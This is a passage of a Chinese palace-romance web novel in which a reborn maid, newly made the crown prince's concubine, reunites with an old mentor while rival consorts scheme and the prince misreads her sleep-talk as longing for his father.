槛儿根据几人擅长的,分派了他们今后要做的事,最后叮嘱几句便让人散了,单独把瑛姑姑叫进了卧房。
“姑姑!”
进了屋,槛儿一头扑到瑛姑姑怀里。
瑛姑姑一身棕红织金方格如意纹缎衫,下配孔雀蓝缠枝四季花马面裙,梳着三绺头,髻上两根合乎规制的银簪。
很是得体干练。
“好了好了。”
她抱着槛儿,也红了眼。
“您现在是主子了,可不能再像从前那样哭鼻子,传出去没得惹人笑话。”
槛儿吸吸鼻子,抬起头含泪笑道:“笑话就笑话吧,只姑姑不嫌就好。”
上辈子她受封时院里的管事姑姑也是瑛姑姑,但槛儿跟瑛姑姑认识,却是在她被调来东宫之前的事。
彼时槛儿八岁,刚入宫。
因生得好,性格温顺安静又心灵手巧,学完规矩后便被选去了广储司。
在衣作坊给娘娘们做衣裳。
瑛姑姑管小宫女们的日常起居,当时槛儿年龄最小,瑛姑姑对她颇为照顾。
可以说,没有瑛姑姑。
槛儿早**。
直到一年多前。
后宫出了一桩事**大批太监宫女,导致临到太子大婚,东宫的人手却不够。
内务府着急往东宫挑人。
槛儿当时不到十四,正好在适龄范畴。
想来选人的嬷嬷也是急了。
压根儿没考虑把槛儿这般颜色的小姑娘,放到太子妃的院里当差会不会不妥。
总之槛儿被调到了嘉荣堂。
和瑛姑姑便就此分开了。
上辈子槛儿成了奉仪,看到瑛姑姑是她院里的管事姑姑,还以为是巧合。
还是后来一次偶然的机会。
槛儿才得知这根本不是巧合。
而是瑛姑姑听说新晋的奉仪是她,便四处使银子托关系把自己调过来的。
可惜瑛姑姑没跟着槛儿享多久的福,就因为一场突来的严重风寒去了。
如今见到人,槛儿不免悲喜交加。
“瞧您说的这话。”
瑛姑姑掏出帕子给槛儿擦泪。
“奴婢怎可能嫌您,只不管从前您我什么关系,今日起您都是主子了,哪有主子抱着奴婢哭鼻子的道理。”
槛儿拉着人到一旁坐下。
瑛姑姑:“广储司昨晚收到消息,说东宫要进一位新昭训,让人赶紧张罗衣裳鞋袜,我一听名儿就知是您。
本想着横竖我在广储司做的也是管人起居的活,您这儿想是也需得管事的,不如托了关系看能不能调过来。
谁曾想海公公先使了人找到我,说让我来昭训主子院里侍候,这还真是弯刀对着瓢切菜,正正儿好!”
槛儿愕然:“你是说,是海公公使了人找你,让你来我这儿的?”
“对啊。”
槛儿有些意外。
但转念想太子肯定事先派人调查过她,而这辈子她和他的开端不一样了。
主动调瑛姑姑过来,许是海顺揣摩了太子的意思刻意给她卖了这个好。
上辈子她是郑氏抬的奉仪,海顺没插手,所以瑛姑姑自己费时费力来了她这。
“可是有什么不妥?”瑛姑姑小声问。
槛儿摇摇头。
“没有不妥,能再见到姑姑我很高兴。”
这辈子,她绝不会让瑛姑姑早早就去了!
瑛姑姑不知槛儿在想些什么,瞧着小姑娘白净漂亮的小脸,她心下微叹。
“听人说您的位份是殿下给的,能同奴婢说说这到底是怎么回事吗?”
槛儿颔首。
撇开在嘉荣堂后院受的磋磨,三言两语把自己的境况大致同瑛姑姑说了。
听得瑛姑姑止不住地心疼。
替主子承宠生子,有几个是能得善终的。
单看小姑娘越发沉稳的性子就知道,她这一年多在东宫的日子肯定不好过。
不过,今儿个是好日子。
重逢也是喜事,瑛姑姑就没说什么感伤的话。
槛儿如今是昭训的位份,每月的薪俸是八两,一年下来一共九十六两。
内务府的人来给槛儿送屋里的小摆件和她日常要用到的各种东西时,把这九十六两的俸银也一并送来了。
还有做衣裳鞋袜要用的绸缎布匹、棉绒皮草,打首饰要用的金银用料什么的,以及一些日用品、药品。
林林总总的东西一通算下来,比槛儿上辈子当奉仪的时候多出了不少。
等终于把每间屋子都规整好,东西全部收拾完毕,时间也不早了。
恰好东宫膳房的人也在,见状便顺势问:“宋昭训午膳可有什么想用的?”
槛儿想了想。
她现在每天有五斤猪肉和一斤羊肉的供应,每三日能吃一只鸡和鸭。
今天日子好。
槛儿就点了鸡鸭各半只、半斤羊肉和一斤猪肉,蔬菜就让膳房看着办了。
交代完这些,膳房的人走了。
槛儿叫小桂子、小满子两个小太监打了热水到浴间,由瑛姑姑帮忙,把自己从头到脚给清洗了一通。
换了身广储司送来的成衣。
晌午喜雨把膳提回来。
寒酥试了毒,同望晴把膳摆上。
这顿饭膳房显然下了功夫。
鸡做成了口菇煨鸡,鸭子是拿蒟蒻烧的,羊肉则用了刺眼核桃煨,猪肉分做成了南瓜粉蒸肉并春笋肉丝。
素菜有烧茄子、茭白炒木耳、凉拌胡瓜和青菜豆腐汤,量不大但胜在精致。
除了这些,寒酥最后从食盒里还端出了一道芽菜煎鲩鱼和一道白灼虾。
这两样超出了槛儿的份例。
想也知道是膳房自己做主添的。
谁叫这位新晋的宋昭训既是嘉荣堂的人,又是太子做主给的位份呢。
槛儿看了看,没有多说。
只让寒酥另拿了几个碗碟来,夹了够她吃的分量出来,就把剩下没碰过的让他们几个端去分了。
也算是一起庆贺今儿的喜事。
望晴垂着眼站在一旁。
看着那抹绣着精致花纹的月华裙裙摆,心里像吃了颗没熟的李子那么酸。
都是做奴才的,偏她这么好命。
想当初……
用罢膳。
槛儿同瑛姑姑把永煦院前前后后转了一遍,然后回屋将她要送去广储司做衣裳的料子选了两匹出来。
感觉不撑了,槛儿便到卧房歇晌。
到了傍晚。
包括瑛姑姑在内,寒酥几人的脸上都肉眼可见地带上了几分忐忑与期盼。
小福子和小喜子更是蠢蠢欲动,就等着昭训主儿让他们出去张望张望。
槛儿知道他们在盼什么。
可惜了,他们今晚注定要失望。
“来个人把灯灭了吧。”
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>槛儿在院里溜达完一圈,回屋前抬头看了眼檐下那两盏璀璨的花灯。
众人齐齐一怔。
瑛姑姑迟疑劝道:“许是元淳宫的人有事耽搁了,若不咱们再等会儿?”
槛儿朝门口望去。
声音很轻。
“不必了,殿下今晚不会过来。”
“今晚,该曹良媛侍寝。”
.
嘉荣堂。
太子话少。
嘉荣堂的宫人熟知这位爷的脾性,伺候时没人敢发出半点多余的声音。
郑明芷自认摸透了太子的性子,跟太子说起后宅里需向他汇报的一些事。
太子偶尔“嗯”一声算是回应。
若有必要,他会放权给她。
除此外,二人便没别的可说了。
一盏茶结束。
郑明芷观察着太子的神色,笑道:“今儿个后院进了新人,属实是喜事一桩,想来宋昭训正盼着殿下呢。”
骆峋放下茶盏。
接过海顺递来的帕子,拭拭唇角。
郑明芷顿了顿,接着道:
“按理说宋昭训今儿刚进门,她的位份还是殿下您给的,殿下若是有兴致,去看看宋昭训也无妨,但……”
海顺眼角一抽。
果然下一刻就听她说:
“妾身下午翻了册子,才想起今儿轮到曹良媛侍寝了,殿下您看这……”
太子不常去后院,郑明芷也很识趣地没把一个月内的所有日子全给排上。
只按照曹良媛她们各自的月事规律,挑了她们容易受孕的那几天安排侍寝。
不过,安排归安排。
最终去不去,还得随太子的意思。
就譬如前些日子轮到金承徽和秦昭训侍寝,太子就没往她们那边去。
骆峋睨了郑明芷一眼,语气淡淡:“你以为孤今夜该去永煦院还是沁芳居?”
郑明芷愣了愣。
旋即心中一喜,太子虽和她生了矛盾,但到底还是敬重她这个正妻的!
郑明芷笑得更真诚了。
“今日是宋昭训的好日子,但时候也确实不太巧,曹良媛是东宫的老人。
殿下又常去她那,若您在该她侍寝的日子去了宋昭训那,怕是会惹她伤怀。
所以妾身以为,殿下今晚若有兴致去后院,还是去沁芳居更为妥帖。”
宋槛儿是她的人不假。
可那贱婢瞧着就是个不安分的。
今早还敢顶撞她。
既如此,就别怪她不给她脸!
海顺简直没耳朵听了。
换做外头寻常高门大户里的男人,听了这话或许只会觉得妻子宽容大度。
即便新进门的妾室是自己院里的人,也不帮着争宠,实在是有够无私的。
可问题是。
太子自小长在宫里,看多了后宫妃嫔争锋相对的戏码,知道女人们斗起来比起男人都有过之而无不及。
所以,太子从不对后宫事掉以轻心。
太子妃但凡是个聪明的。
这时候要么直接替宋昭训争好处,宋昭训是她推出来替自己生孩子的。
替宋昭训说话,合情合理。
要么,太子妃就干脆不要给什么具体回答,直接说此事由太子决定便好。
可她不。
她偏要替曹良媛说话!
关键太子还知道她打过宋昭训,太子妃此举不就等于摆明了告诉太子。
她对宋昭训心存芥蒂吗?
这合适吗?
那原本是要替她生娃的啊。
是时以曹良媛高傲多疑的性子,一定会觉得太子妃此举必然别有深意,从而今后只会更加提防太子妃。
宋昭训又会怎么想?
海顺暗暗揣度。
或许太子,要的就是这个结果?
“殿下以为如何?”
郑明芷还在那问。
骆峋起身,负手朝外走。
“依太子妃所言,去沁芳居。”
第11章 “殿下,当心!”
沁芳居,正房里。
曹良媛的两个大宫女和管事嬷嬷,也在猜测今晚太子会往谁的院里去。
见自家主子还有心情下棋。
抚琴就纳闷了:“主子,您都不着急吗?”
曹良媛眼皮子都没抬一下。
“急什么。”
“不管怎么说那宋昭训是太子妃的人,又是太子做主抬起来的,万一太子今晚往她那边儿去了怎么办!”
弄墨:“是啊,今晚该您侍寝,若殿下去了那边,那不是打您的脸吗?”
抚琴低声愤愤:“那位也真是的,怎么想起推那么一个人去服侍殿下?”
曹良媛似笑非笑:“什么人?”
抚琴想起那小宫女胀鼓鼓的身前,和行走间在裙子下时隐时现的腚!
一个“骚”字脱口而出。
“奴婢读书少,实在不知道该怎么形容,但她真的、正经姑娘谁那样啊。”
曹良媛轻笑一声。
玉指夹着一颗白子,落在棋盘上。
“殿下今晚不会去她那。”
“主子这话怎么说?”
怎么说?
曹良媛暗笑。
那自然是因为她知道,自己其实是殿下为制衡后宅而立起来的一杆枪。
殿下与那姓郑的之间有什么矛盾,曹良媛不清楚,但她乐得当这杆枪。
殿下打谁的脸,都不会打他自己的脸。
让曹良媛来看。
那位今晚多半谁的院里都不会……
“主子,元淳宫的小公公来取灯了!殿下已经过来了!”不等曹良媛想完,院里响起了跑腿太监的通禀。
抚琴与弄墨狂喜。
直个劲儿地说讨喜话。
曹良媛嗔她们,抚抚鬓发再理理衣裳,领着两个丫头疾步迎了出去。
夜色弥漫。
檐下的灯笼照得庭中一片通明。
男人从夜色中走来。
身姿挺拔,高大伟岸。
一身东方既白底儿绣暗龙纹的宽袖常服,头戴镶碧垂缨赤金累丝冠,俊美的脸上是惯有的清冷淡漠。
仅一个照面,众人皆不敢直视,毕恭毕敬齐声拜下,极尽恭顺庄肃之态。
曹良媛款步来到男人跟前,声音娇娇道:“妾身给殿下请安,殿下金安。”
她今日穿了身桃夭牡丹凌霄的妆花对襟夏衫,庭芜绿金丝滚边百迭裙,精致的堕马髻上一根银鎏金镶玉步摇。
白皙双颊上一抹浅浅霞色,衬着她秀丽俊雅的面容也染上了几分妩媚。
骆峋的视线自那步摇上扫过。
“起。”
进了屋,太子照旧往书房行。
曹良媛的唇角微不可察地拉了拉,抚琴、弄墨默默端着茶点进来。
骆峋在临窗的罗汉床前站定。
曹良媛难为情般笑道:
“闲来无事自娱自乐,有几个地方不甚明白,不知可否向殿下请教一番?”
骆峋看眼表面闲庭信步,实则暗藏杀机的棋局,没有拆穿她蹩脚的借口。
转身落座。
他少时的棋风杀伐凌厉。
被太傅以“君王不因小利动干戈”给训了,此后骆峋便秉中庸改下仁棋。
所谓仁棋,即重势不嗜杀。
但一个人的本性不是说改就能改的,所以久而久之骆峋自成了一套棋风。
看似松散布局,实则环环相扣大规模攻守,到后面曹良媛都不明白怎么输的。
不过,她的心思也不在下棋上了。
屋中安静。
晕黄的烛火和空气中隐隐飘散的香,都为这份静谧平添了几分缱绻旖旎。
曹良媛的目光被那只执着黑子,骨节分明的大掌吸引住了,再徐徐往上。
明晰有力的腕骨。
宽肩长臂,挺拔健硕。
单看身形,太子的身形更偏向于军中的年轻将领,高大的身躯往那一站。
宛如一棵屹立不倒的苍松。
但太子从小生在皇家,满腹经纶,气质斐然,再加上那张俊美非凡的脸。
使得他纵使身形再高大。
气度也是雍容华贵的,不显半分魁梧粗糙。
此时他一只手散漫地撑着额。
另一手落下棋子。
乌黑浓密的眼睫在他眼下投下一小片蝶翼般的阴影,透着一股别样的温雅。
曹良媛不心悦太子。
从小看着后院妻妾争宠长大,她深知自古后宅不宁的症结所在是男人。
所以她立志不会对男人动情。
她也做到了。
但她还是自愿入了东宫,成了良媛,开始了像母亲一样和后院的女人争宠。
俱因她崇敬裴皇后。
她想像裴皇后那样。
坐上那个万人敬仰的位置!
所以察觉到太子将她立起来和太子妃打擂台时,曹良媛很自然地就受下了。
太子至今只去过金承徽那儿一次。
秦昭训那边两次。
轮到她侍寝的日子,五次里有三次太子会过来。
在东宫拢共只三个妾的情况下,曹良媛俨然是盛宠,她也很享受这种感觉。
正四品的位份,华服美食养尊处优,都不用真侍寝每月就有薪俸赏赐可拿。
这样的日子,多少人求都求不来。
但问题是她求的不止这些!
“殿下……”
眼见太子落子后即将收回手,曹良媛抬起柔若无骨的纤长玉手覆了过去。
声音媚到了极致。
一旁的抚琴、弄墨瞬间红了脸,随即很有眼力见儿地无声无息退了出去。
海顺吓了一跳。
这种时候他该出去的,可他们家殿下……
骆峋掀起眼帘。
漂亮的凤眸在烛光和眼睫阴影的映衬下,少了几分冷冽疏离,多了一丝深沉温和,乍一看似显得格外深情。
换做平时,曹良媛绝不会有这种错觉。
可许是太子亲自给人位份这件事,无形中让她感受到了前所未有的压力。
亦或是他在新人进门的当晚选择了来她这儿,给了她一种莫名的渴望。
以至于她在对上男人幽冷的眸光时,不仅没像白日里那样觉得敬畏,心底反而涌起了一股难以名状的冲动。
曹良媛没有将手挪开。
她迎着男人的目光,轻轻握住他的手,指腹若有似无地在其手背上蹭了蹭。
骆峋抽回手,眸光彻底冷了下来。
但还沉浸在自己思绪里的曹良媛并未发觉。
她起身。
扭着腰几步走到男人跟前。
两只纤纤玉手分开搭在男人的肩上,染着蔻丹的指尖缓缓往他胸膛上探。
“殿下,容妾身伺候您就寝可好?”
她不爱这个男人。
但她爱他能
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带给她的荣华和权势。
而要想得到那个位置,光靠与郑氏打擂台是绝对不行的,她必须要有一个立身之本。
他抬了那个宋槛儿做昭训。
就说明他是同意让那宫婢替郑氏生子了,既如此,他也合该给她一个孩子。
她不要空有其表的虚名。
她要他名副其实的宠!
曹良媛心底的渴望更为强烈,纤白的手寻着太子的衣襟便要往里探。
海顺赶忙背过身。
这时,忽地一声惊呼。
海顺回头,就见曹良媛倒在罗汉床上。
“你越矩了。”
太子负手而立,清冽的眉眼间神色依旧波澜不惊,让人看不出丝毫喜怒。
可越是这种平静。
他那通身的气势威严就越是慑人,宛如一条沉睡的巨龙忽然睁开了眼,一个鼻息便能让人瞬间化作齑粉。
“殿下……”
曹良媛花容失色。
翕张着唇想要伸手抓太子的衣摆,却是连对方的衣角都没碰到,太子便走了。
“主子,出什么事了!”
抚琴两人冲进来。
曹良媛有些呆愣地坐回位置,半晌才回过神抬眼问:“什么时辰了?”
弄墨:“刚到亥时。”
曹良媛了然地点点头。
“一个时辰,也不算短,去姓金的和姓秦的那边差不多也是一个时辰就走了。”
抚琴与弄墨对个眼神,心情复杂。
与其他皇子不同。
为避免耽于享乐坏了根本,太子临幸完妾室通常不会在其屋中过夜。
这规矩并非明令禁止。
而是历朝皇室对储君潜移默化的要求。
即非正统律令所定,自然就有自律遵守者和怠惰放纵者,太子显然是前者。
这半年来,除了每月初一十五以及逢十的日子,太子会在嘉荣堂过夜外。
其他时候太子就没在哪个妾室屋里留宿过,只是每回来沁芳居,太子在这边待的时间都是最长的。
“你们说。”
曹良媛忽然开口。
“殿下为什么宁愿给一个奴才孕育皇嗣的机会,也不愿给我一个孩子呢?”
这个问题没人能回答。
抚琴弄墨也不敢妄议,只能小声宽慰。
曹良媛盯着棋盘。
良久。
她道:“去打听打听,太子今晚为何会来沁芳居。”
.
“殿下当心!”
元淳宫,后寝殿。
前一刻还步履稳健矫捷的太子,刚一进卧房,高大的身形便猛地一晃。
海顺眼疾手快地把人扶住。
又给干儿子袁宝使眼色。
袁宝转身寻了借口把屋里的几个小太监给挥退了,和他干爹一道将太子爷搀到一旁的软榻上坐着。
数盏琉璃宫灯将屋里照得亮如白昼,太子爷此刻的模样也被照得清清楚楚。
他端坐着,俊目紧闭。
宽阔的胸膛因急促的呼吸剧烈起伏着,冷峻的脸上浮起一层细密的汗珠。
额角、脖颈和撑在膝上的两只手手背青筋暴起,明显在忍受什么难言的痛苦。
突然。
太子侧身。
对着海顺及时捧过来的唾壶吐得昏天暗地。
与此同时,他的手、脸、脖子以及耳后,肉眼可见地冒出几片渗人的红疹。
第12章 太子爷:“你在孤的后院想着谁?”
海顺不敢耽搁。
从袖中摸出一个乌金釉小瓷瓶,拔开瓶盖:“殿下,药,您赶紧把药服下。”
骆峋没睁眼。
好不容易止住呕意,他漱了口伸出左手,海顺忙朝其掌中倒了颗豌豆大小的药丸。
骆峋仰头服下。
可惜再好的药也不是立竿见影。
他此时只觉浑身像似有无数只虫蚁在顺着他的血管,一寸寸四处爬咬啃噬。
阵阵恶寒不断从脚底往上窜,不到半盏茶的功夫骆峋的前胸后背就湿透了。
海顺让袁宝用温水打湿巾子。
替主子擦拭脸跟脖子上的汗,他自己则拿了香胰子给太子爷净手。
尤其是被曹良媛碰过的那只手,海顺洗得尤为仔细,一面洗一面低声自责:
“早知如此,早先奴才就该提醒您提前服上一粒药的,您也就用不着遭这罪了。”
也是曹良媛往日向来清楚分寸,从没在殿下跟前做出类似今晚这般的邀宠之举。
所以他就没想到。
想来殿下也没往这方面想。
结果哪知曹良媛今晚竟如此大胆!
骆峋没理他,闭着眼扛过新一波的恶感。
一刻多钟后。
骆峋的呼吸平缓,身上的疹子消失了,一张俊脸亦恢复了平日的冷峻淡然。
浴间备好了水。
骆峋睁眼起身,径直朝浴间走去。
海顺跟进去。
伺候太子净发时,他迟疑问:
“殿下,那曹良媛……”
话音未落,男人抬目看向他。
海顺立时反应过来。
曹良媛今晚的行举不过是后宫里常见的邀宠,确切来说并未犯什么大忌。
若真就此惩治了她。
反倒是小题大做,显得太子想遮掩什么。
海顺没敢再问。
从浴间出来,伺候太子殿下上榻时海顺忽地想起一事,压低声音悄咪咪问:
“殿下,今夜可要备换洗的裤子?”
骆峋躺下的动作一僵。
明明海顺的表情再恭敬正经不过,但他就是觉得这老货心里肯定在笑他!
谁让他已经连着四日都……
“滚!”
太子爷恼羞成怒。
抄起另一侧的枕头砸过去。
海顺从善如流地接住,嘿嘿笑着说了几句讨好话便领着一行小太监退下。
太子就寝没有让人守在榻前的习惯,外间只留了袁宝跟另一个小太监值夜。
骆峋本不热衷于女色,今晚又在沁芳居经历了那么一遭,他就更没有心思想那些男男女女之间的事了。
躺下后兀自想正事。
可不知是海顺出去前问的那话起了暗示作用,还是别的什么原因,迷迷糊糊睡着的骆峋又做起了梦。
不同于先前的四晚。
这回梦里的场景在书房。
夏风****,青莲纱幔徐徐摇曳,阳光透过树叶罅隙在窗沿处投下斑驳的影子。
“殿下……”
“殿下饶了妾吧,妾……”
书案上。
伴随着声声娇啼,女子粉嫩的指尖在紫檀桌面上划过一道浅浅汗痕。
身上凤仙粉缠枝莲的通袖纱衫彻底自她的肩头落下,那因情动而泛起一层薄粉的白皙香肩一览无余。
她仰起纤颈。
粉面含春,娇喘微微。
忽然,她的眼前多了一串葡萄。
葡萄被丝线串着,颗颗晶莹剔透。
雍容的太子爷行这等事时神态亦是冷峻寡淡的,唯有额角的汗和泛红的眼尾显露出几分难言的隐忍。
“不是来给孤送葡萄的?”
槛儿呜咽。
如狐似杏的眼儿里波光潋滟,鸦睫上悬着一颗颗细细碎碎的小泪珠子。
“妾知错,妾不该来扰您清净……”
“孤没怪你,哭个什么?”
骆峋拿着那串葡萄,低头亲了亲她,沉冷的嗓音里带着别样的蛊惑。
“先吃,你吃了孤再吃。”
……
骆峋睁眼。
安静的帐中尽是他粗重的喘息,坐起身借着墙角小灯微弱的光掀开被子。
骆峋薄唇紧抿。
片刻,他朝外喊了一声。
袁宝匆匆进来。
打了盆热水,又拿了条干净中裤来。
骆峋没让他伺候。
在帐中稍微收拾收拾,换了衣裳下榻。
然后披了件外衫撂下一句“不必跟,无需告知海顺”,便大步流星地出了寝殿。
.
槛儿睡得也不安稳。
傍晚,随着太子去沁芳居的消息传来,寒酥、跳珠他们就彻底歇了心思。
几人不但说话声儿压低了,进出更是轻手轻脚,生怕惹恼了这位新主子。
毕竟宫里多的是稍不如意就把气撒到奴才身上的主儿,他们当然要紧着皮子。
槛儿有些哭笑不得。
说实话,她并不在意太子去幸谁。
怕他来了又走,又怕他永远不会来,这样的日子她上辈子过了小半辈子。
如今才哪儿到哪儿呢。
只是理智归理智,二十年朝夕相处的习惯潜意识里却不是那么好改的。
所以槛儿做梦了。
梦到了上辈子。
梦到她在东宫和太子的点点滴滴,梦到太子登基,她受封淑妃后他对她的盛宠。
梦到他立她为后。
他站在奉天殿门前亲自授予她金册宝印。
广场上礼乐肃穆,百官的朝贺声响彻云霄,他们的小儿子声音最响亮。
然而下一刻。
满场的披红挂彩和喜乐都消失了,取而代之的是素缟白幡,丧钟阵阵。
坤和宫外。
御医、朝臣跪了一地。
一声声“陛下节哀”、“请陛下保重龙体”如泣如诉,悲痛欲绝。
坤和宫的宫人们泣不成声。
这是她死后的场景?
槛儿漂浮在半空,见状愣了愣,随即她有
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意识地飘进了生前的寝殿。
屋中死寂一片。
只偶尔传来几声若有似无的哽咽。
槛儿一路飘进卧房,入目便是坐在凤榻上,怀中抱着她尸身的庆昭帝。
年过花甲的庆昭帝,身上穿的还是那件她临终前见过的玄色龙袍。
昔日挺拔的男人,此刻佝偻着身躯,眉梢眼角再不复平日的神采奕奕。
就连那头原本只鬓角处染了风霜的头发,此时此刻竟也已是满头华发。
他怀中抱着的那人。
形销骨立,了无生息。
往日丰腴窈窕的身形,这会儿只剩了一副皮包骨,但她的面容是安详的。
他就这么抱着她。
紧紧地抱着。
也不知这么坐了多久。
“陛下……”
槛儿震惊于男人的一头白发和脸上木然空洞的神情,缓缓飘到他面前。
“陛下,节哀吧!”
海顺抓着庆昭帝的袍摆,悲痛劝道。
“娘娘已经去了,该镇魂闭宫了,娘娘生前最是关心您的龙体康健,她若地下有知,定不愿见您如此啊!”
庆昭帝无所觉。
仍旧雕塑般抱着怀中人,一错不错地盯着某个地方,眼里却又好似空无一物。
海顺趴伏在地,失声痛哭。
悲怆的哭声让槛儿也忍不住红了眼。
“怎么会呢……”
她看看庆昭帝怀里的自己,再看向他,伸手去摸那张再熟悉不过的脸。
但她这会儿的身体呈半透明状,指尖刚碰上男人的脸便从上面穿过去了。
槛儿的手在半空中顿了顿。
最终收回。
她叹了一口气,自言自语般低喃:“陛下,您这样,显得我好薄情……”
话音刚落,庆昭帝的眼睛动了一下。
他垂下眼帘。
抬手抚了抚怀中人舒展的眉眼,声音嘶哑:“罢了,这四十年,辛苦你了。”
“今后不必伴君如伴虎,不必再小心伺候我,你该是欢喜的,你欢喜就好。”
“你欢喜……”
话音未落,庆昭帝的嘴角溢出血丝。
人也猝不及防倒了下去。
“陛下!陛下!”
“御医!御医何在?!”
……
槛儿紧闭着眼,额头上一层汗,心口像压着一块巨石,闷得她几乎喘不过气。
这时,床帐被人从外面撩开。
一道身影在榻前停下。
“陛下,陛下……”
男人探出的手陡然一僵。
下一刻,槛儿只觉下巴猛地一痛。
她当即皱眉,手本能地挥起来,想把那让她吃痛的东西从下巴上打落。
可惜刚有动作,手腕就被钳制住了。
槛儿倒吸一口凉气。
终于从梦魇里醒了过来,却不想一睁眼就对上了一双冷得彻骨的眸子。
“你梦到了谁?喊的谁?”
“你在孤的后院,想着谁?”
第13章 太子爷:她果然在想着他父皇!
子夜时分。
卧房里墙角点着一盏起夜用的小灯,微弱的烛火不足以照亮整个屋子。
男人的脸浸在一片朦胧中。
明暗交错间,他的眸光晦暗得不见底。
仿佛暴风雨前的黑海,顷刻间便要掀起惊涛骇浪,将槛儿砸得粉身碎骨。
可这大半夜的。
一睁眼就看到这么大个男人出现在床榻前,还用这样的眼神盯着自己!
换个身子不好或是胆小的,怕是吓都吓**,哪还顾得上他在说什么啊!
槛儿也顾不上。
她的身子反射性地就是一抖,尖叫几欲脱口而出,还好被她给及时憋回去了。
“殿、殿下,您怎么……”
今晚值夜的寒酥,小福子他们呢?
怎么都不见通报??
槛儿心有余悸地朝帐外看了眼,开口声音都直哆嗦,可见被吓得不轻。
骆峋从小习武,眼力惊人。
很轻易就看到了她额上的汗和粉颊上的泪,他不禁在心里连连冷笑。
想问他怎么来了?
呵。
他幸好来了!
他若不来,他都不知道他的这位新昭训在受封的第一天晚上,就连做梦都想着他父皇!
合则她真正想做的,是他的庶母?!
好好好。
骆峋打小喜怒不形于色。
可现在他却很想笑,他也真的笑了。
他俯身,一手钳着槛儿的下巴,一手将她的那只手腕按在枕头上,笑意不达眼底。
“告诉孤,你梦到了什么。”
“你在梦里喊的是谁?”
槛儿一怔,梦里庆昭帝那张木然沧桑的脸忽地与眼前的这张脸重合了。
大晚上的,她竟有些分不清梦和现实。
而她的反应看在骆峋眼里就成了:
她果然在想着他父皇!在透过他的脸看他父皇!
区区一个小宫女,小昭训,不值得骆峋动怒,他也没必要将其放在心上。
宫里的女人多的是心口不一,假意逢迎之辈,她们争的不过只是权势地位。
骆峋不讨厌有野心的人,也允许后院的女人们有她们的小心思。
可她千不该万不该,不该在他的后院还想着他的父皇!
骆峋的脸彻底冷了下来,他松开槛儿,起身就走。
这么会儿的功夫。
槛儿也明白过来他误会什么了,只是没待她开口解释,那人便“刷”地走出了拔步床。
说时迟那时快,槛儿掀开被子,“嗖”一下就冲了出去。
顾不上什么冒犯不冒犯了,过去就从后面狠狠一把抱住了太子的腰。
骆峋没料到她这般胆大,猝不及防被扑得身子都晃了晃。
“放肆!”
骆峋低斥,要掰开箍在腰间的小手。
槛儿当然不能让他就这么走了,否则岂不和上辈子一样了。
所以哪怕这具身子已经被太子的怒斥吓得本能地瑟瑟发抖,槛儿也咬牙撑着,双手紧环着男人的腰不放。
“妾什么都没说殿下就要走,妾冤枉!”
冤枉?
骆峋被她的举动激怒,又被她的话气笑。
她还好意思喊冤。
他亲耳听到的还能有假!
槛儿虽不清楚太子爷心里具体在想什么,但她大抵清楚了症结所在。
眼见手要被掰开了,槛儿抱着男人的腰迅速绕到他面前:“妾梦到了殿下,妾喊的也是殿下……”
骆峋扣住她的下颌。
“孤还不至于连两个字都分不清。”
他的语调和平日相差无几。
可眸底翻涌着的风暴,嗓音里的森森寒意和杀气,乃至手上的力道,都无一不在显露他此时的怒意。
居高临下的压迫感。
槛儿被迫仰头望着他,纤白的脖颈脆弱地绷起一个弧度,眼泪簌簌往下落。
呜咽声从喉间溢出,被她强行忍住。
槛儿何曾见过这样的太子。
她的记忆里,这人从来都是泰山崩于前而面不改色的,仿佛没有事能动摇他。
也没有人能看透他。
可就是这样的他,因为她的病一夜间老了十岁,在她临终前夜夜守在她榻前。
甚至刚刚的梦里,他还为了她白了满头的发。
槛儿不知道那只是她随意做的一个梦,还是上辈子她死后正在发生的事。
她还不至于会天真的因为一个梦,就误以为堂堂帝王对她情根深种。
然而委屈还是冒了出来。
只是槛儿也清楚,这会儿在她面前的,不是那个对她百般圣宠的庆昭帝。
深吸一口气,她翕张了张因疼痛而褪去血色的唇瓣:“妾喊的是陛……”
话音未落,钳制她的力道倏地加重。
“但妾梦的是殿下。”
槛儿艰难开口,声音像是从嗓子眼儿里挤出来的,细小得只两人才能听清。
这话乍一听或许不甚明白。
可精明如骆峋一下子就听出了她要表述的意思,他的瞳孔当即就是一缩。
却是不待他有反应。
面前的人突然松开紧环着他腰的手,改为踮脚攀上他的脖子抱住他。
胸前的丰盈绵软瞬时紧贴着男人坚硬宽厚的胸膛,伴随着缕缕幽香。
骆峋的身子陡然一僵。
旋即下意识就要将这胆大包天的人撕开,再治她个以下犯上的罪!
只是他的手刚碰到她的腰。
小姑娘便在他耳边。
用只他听得见的声音低低抽泣起来:“妾梦见妾做错事惹恼了您,您要将妾打入冷宫,妾害怕、殿下,妾害怕……”
她好像真的很害怕。
呼吸急促,语不成调。
骆峋清楚地感觉到怀中娇躯止不住的轻颤,有温凉的眼泪落在
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他颈间。
他放在她腰上的手紧了紧。
但凡了解大靖皇家规矩的就能知道。
太子的妻妾虽身在宫中,却不属于妃嫔范畴,太子对妻妾的惩戒也需遵循祖训、礼法和皇帝老子的意思。
且太子与妻妾的事,属东宫内务。
东宫没有专供幽禁犯错妻妾的地方,太子惩治妻妾也没有“打入冷宫”一说。
槛儿这话听着像是因为一个梦在说胡话,实则却是在变着法儿向太子解释。
骆峋也听明白了。
哪怕他早已确保东宫没有父皇的人,骆峋此时也忍不住眉心直跳。
但他不得不承认,在听懂了小昭训的话外音时他周身有一瞬的血气翻涌。
“你大胆!”
太子殿下装模作样地低斥。
将人从身上撕下来,勾起槛儿的下巴,试图从她眼里找出撒谎的蛛丝马迹。
可惜洞若观火如他,硬是没从小昭训这双清凌凌的眼里看出一丝欺瞒。
那自然是看不出的。
毕竟槛儿说的就是实话。
不过这话确实是太大逆不道了,一个不慎就要掉脑袋,槛儿也不敢再说。
只面上泪汪汪的。
“妾,妾知错,可妾没有撒谎,妾真是梦到了殿下,妾也不知道为什么……”
见她小脸儿惨白惨白的,明明双手直哆嗦,却抓着他的衣袖抓得那么紧。
生怕他怪罪,生怕他走了。
骆峋抿唇,勾着她下巴的手渐松。
“殿下别不要妾身……”
槛儿哽咽,巴巴地望着他。
骆峋眸光微敛,难得有些失语。
他觉得自己真是被气傻了。
早先刚得知郑氏打算推出来替她承宠的人是谁时,海顺便派人把这个叫槛儿的小宫婢查了个底朝天。
知晓她八岁就入了宫,学完规矩后一直在广储司的衣作坊当差,是个聪明懂事又老实本分的。
他才点了头。
试想,她若真肖想着做父皇的女人。
以她这般的容貌,该是早在广储司时便有所动作了。
父皇后宫里的那些人,也绝不会允许一个对她们有威胁的小宫婢好好活着。
